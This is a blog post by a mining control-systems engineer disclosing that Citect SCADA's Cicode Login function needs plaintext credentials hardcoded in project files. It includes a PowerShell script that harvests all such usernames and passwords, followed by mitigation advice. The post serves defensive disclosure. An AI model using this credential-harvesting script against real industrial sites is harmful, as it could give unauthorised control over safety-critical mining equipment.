Email: Jake@jake-smith.net
Experienced Control Systems Engineer specialising in the coal mining industry. Proficient in working with advanced platforms including Allen Bradley controllers, Citect/Plant SCADA, Ignition, and RedLion. Skilled in protocols such as ETH/CIP, Controlnet, Devicenet, Modbus, and MQTT. Passionate about cybersecurity with a proven track record in managing and securing IT/OT systems.
Unrestricted ability to work in Australia, New Zealand, and the European Union.
Read time: 7 minutes |
Updated: 1 November 2023 |
I spent the first two years of my career post-university working as the site Process Control Systems (PCS) engineer at two coal mines, both located in central Queensland, Australia. After an extensive two-week handover with a couple of senior engineer colleagues, I was on my own (with remote over the phone support from my fantastic colleagues in critical situations), responsible for managing the entire mine’s control system infrastructure. As stressful as it was, this sink or swim experience accelerated my grasp not just of industrial control systems but also of the entire OT stack in a production environment. Many lessons were learned the hard way, from discovering why running an Nmap scan on an ICS environment is a bad idea, to understanding that "index out of range" errors are seen as major faults on Allen-Bradley PLCs. Yet, the number one discovery I made was about the priorities people set in environments demanding high availability from their industrial control systems.
In production based environments, maintaining uptime often comes at the cost of other considerations (with safety as the exception). My main concern here is proper cyber security practices. The number of times I've seen cyber security measures abandoned for the sake of convenience—whether to address a breakdown, commission new equipment, or easily access a PLC or server—is staggering. It's not uncommon to find Excel files containing plaintext usernames and passwords for routers, SCADA primary and secondary servers, radios, Windows accounts, and many more, often stored on network-shared locations with minimal access control. It's also very common for passwords to be as simple as "Sitename123", as we will see in an example later.
I want to draw your attention to a "convenience feature" in the Aveva Citect SCADA (commonly known as Plant SCADA) environment. I won’t delve deep into SCADA; there are experts who've covered it more comprehensively than I could. However, I will mention that Citect SCADA is especially popular in Australia's mining and energy sectors. Some PCS engineers even spend their entire careers specialising solely in it.
Like many advanced SCADA systems, Citect offers the flexibility of customising user accounts with distinct access levels. Aveva, the company who actively develop Citect, stores these credentials in a users.dbf file, using the SHA-1 hashing technique for password security. The purpose of these accounts is to ensure that only authorised personnel can access and manipulate certain control systems. To illustrate, this could prevent an operator from arbitrarily adjusting a methane gas setpoint in response to frequent equipment trips due to excessive methane levels. Instead, a gas monitoring engineer's account would have the privilege level required to make the change.
Citect SCADA has its own scripting language called Cicode, it is used exclusively with the Citect suite and clearly has had heavy influence from other scripting languages like Visual Basic. A particular function within Cicode that I want to bring attention to is the Login function. Designed to log in a user account on a Citect terminal, it’s frequently used to automate user login upon system startup. This is advantageous in industrial operations where power outages, resulting from safety trips or scheduled maintenance, are common. With this function, the Citect terminal can auto-reboot, initiate Citect, and log into the necessary account, ensuring swift control system restoration.
However, the major flaw of this function is not just that in order to use it, the username and password for that Citect terminal are hardcoded in plaintext in a Cicode file (.ci) but that ALL usernames and passwords are hardcoded in Cicode for all terminals that have the auto-login functionality implemented. This function only takes the credentials as a plaintext input, thwarting the password hashing done in the users.dbf file and could allow an attacker to log in as any user that utilizes this login Cicode function, potentially enabling them to control equipment from any terminal on site running Citect.
To demonstrate this, I've put together a basic script that extracts usernames and passwords from all accounts using the Login function in Cicode files. Executed without elevated privileges, this script requires only the Citect project directory as input.
# Define a function to extract login credentials from a CitectSCADA .ci file
function Get-Credentials {
# Define the parameters that this function accepts
param (
# Mandatory parameter to specify the path of the .ci file
[Parameter(Mandatory = $true)]
[string]$ciFilePath
)
# Initialise an empty array to store the result
$result = @()
# Use Select-String to find matches for the login pattern in the specified .ci file
$matches = Select-String -Path $ciFilePath -Pattern 'Login\s*\(\s*"([^"]+)"\s*,\s*"([^"]+)"\s*\)'
# Check if no matches were found
if ($matches.Count -eq 0) {
# Output a message to indicate no matches were found in the specified file
Write-Host "No matches found in file: $ciFilePath" -ForegroundColor Yellow
} else {
# Process each match found
foreach ($match in $matches) {
# Extract the username and password from the match groups
$username, $password = $match.Matches[0].Groups[1].Value, $match.Matches[0].Groups[2].Value
# Create a custom object with the filename, username, and password, and add it to the result array
$result += [PSCustomObject]@{
Filename = $ciFilePath
Username = $username
Password = $password
}
}
}
# Return the result array containing the credentials found
return $result
}
# Directory path where .ci files are located
$directoryPath = "Citect_User_Folder_Path_Here"
# Get all .ci files recursively from the specified directory
$ciFiles = Get-ChildItem -Path $directoryPath -Recurse -Filter *.ci
# Initialise an array to hold all credentials
$allCredentials = @()
# Process each .ci file
foreach ($ciFile in $ciFiles) {
$credentials = Get-Credentials -ciFilePath $ciFile.FullName
$allCredentials += $credentials
}
# Output all credentials
$allCredentials
After running this script on a redacted version of an actual Citect project (previously used in production), the output was as follows:
As you can see, with a simple script I can obtain a significant amount of account login details for the site. Granted, one would need access to the Citect terminal or a copy of the Citect project files, but these aren’t typically top-secret. Contractors often receive entire projects for minor edits, or files might reside on individual endpoints, or even in a shared folder on the PCS dev machine with access granted to the "Everyone" Windows group. Alarmingly, these credentials can persist unchanged for extended periods, sometimes spanning decades, especially in sites with lifespans exceeding 20+ years. I tested this script on Citect 8.4 all the way back to Citect 7.5 with consistent success.
For this vulnerability specifically, in my opinion the best mitigation strategy is to not use the Logon function at all, or at the very least not use it for users that are able to manipulate the control system. Citect SCADA can integrate with Windows domain accounts and utalise the UserLogin and LoginForm functions to securely access these accounts programmatically (though in this case requiring some level of user input). Leveraging this feature might enhance security by entrusting account protection to Microsoft's infrastructure rather than Aveva's. A word of caution if opting for this solution: maintain some native Citect accounts as backup. Should the domain controller go offline, Citect won't support Windows account sign-ins since it doesn't cache credentials.
Citect has the concept of Area's built-in to user accounts to control user access to different parts of the SCADA system. By assigning specific areas to commands, graphics, and other elements within the system, you can determine who has access to them based on the areas defined in the user's profile. This would prevent an operator in one area from controlling the equipment in another.
Another method is by using Cicode, you can easily prevent a user in one area of the plant from executing commands to another. Here is a very basic Cicode function which checks the [LAN]Node=<NodeName> parameter in the Citect terminal ini file and returns its value as a string:
String Function GetNodeName()
Return ParameterGet("LAN", "Node", "Unknown");
END
This can then be used to disable commands or hide buttons or inputs in citect by evaluating it by the name of the node in which the equipment is located. Here is an example of using it to hide a command button:
Some level of password rotation should be implemented in ICS environments, this will at the very least prevent them from being exposed by contractors who have left site as well as ex-employees. If a site has integrated Windows domain accounts into Citect, this access control becomes much easier to manage. Ex-employees can have their access revoked or modified if they have moved to a different area. It also allows for the forcing of password rotation. Although I am unsure of the practicality of this in a production environment, and I have seen it cause authentication issues during comms outages to the OT domain server due to the lack of account caching.
I touched on this earlier but password and account management is often terrible in ICS environments. I'm not talking exclusively about Windows accounts here, this also includes passwords for network switches, field devices, radios, etc... It is common (bad) practice to have this all saved in an excel spreadsheet for convenience. Often this spreadsheet is just placed in a network drive unprotected, accessible not only by attackers but also bored personnel perusing the network drive. Something like a password manager could be used instead, most modern password managers are able to be shared and synced between authorised users and could even be more convenient than a dedicated spreadsheet. At the very least PCS engineers should be password protecting all spreadsheets with sensitive information on them, this includes network architecture maps and IP address lists. Excel has this functionality built-in, simply go file → Info → Protect Workbook → Encrypt with Password.
I have seen a lot of sites use a script that runs once a week to backup their DEV server Citect files. Or maybe they periodically use the backup .ctz creator built-in to Citect Studio. These backups can be used by an attacker to gain insight into the ICS environment on a site. Protecting these backups with encryption is extremely easy and accessible simply by zipping them up with something like 7Zip and putting a strong password on the zip file. This will prevent the attacker from getting a map to the entire site control system and will probably even save storage space with the file compression.
In the fast-paced world of industrial control systems, the push for continuous uptime is understandable, but it does not need to come at the peril of cybersecurity. As I've detailed, vulnerabilities, no matter how innocuous they may seem, can provide attackers with substantial footholds, jeopardising not only digital infrastructure but potentially causing tangible harm. While the allure of convenience is tempting, we must champion best practices, regular audits, and ongoing education in our ICS environments. By marrying both uptime and security, we can pave the way for safer, more efficient, and resilient operations.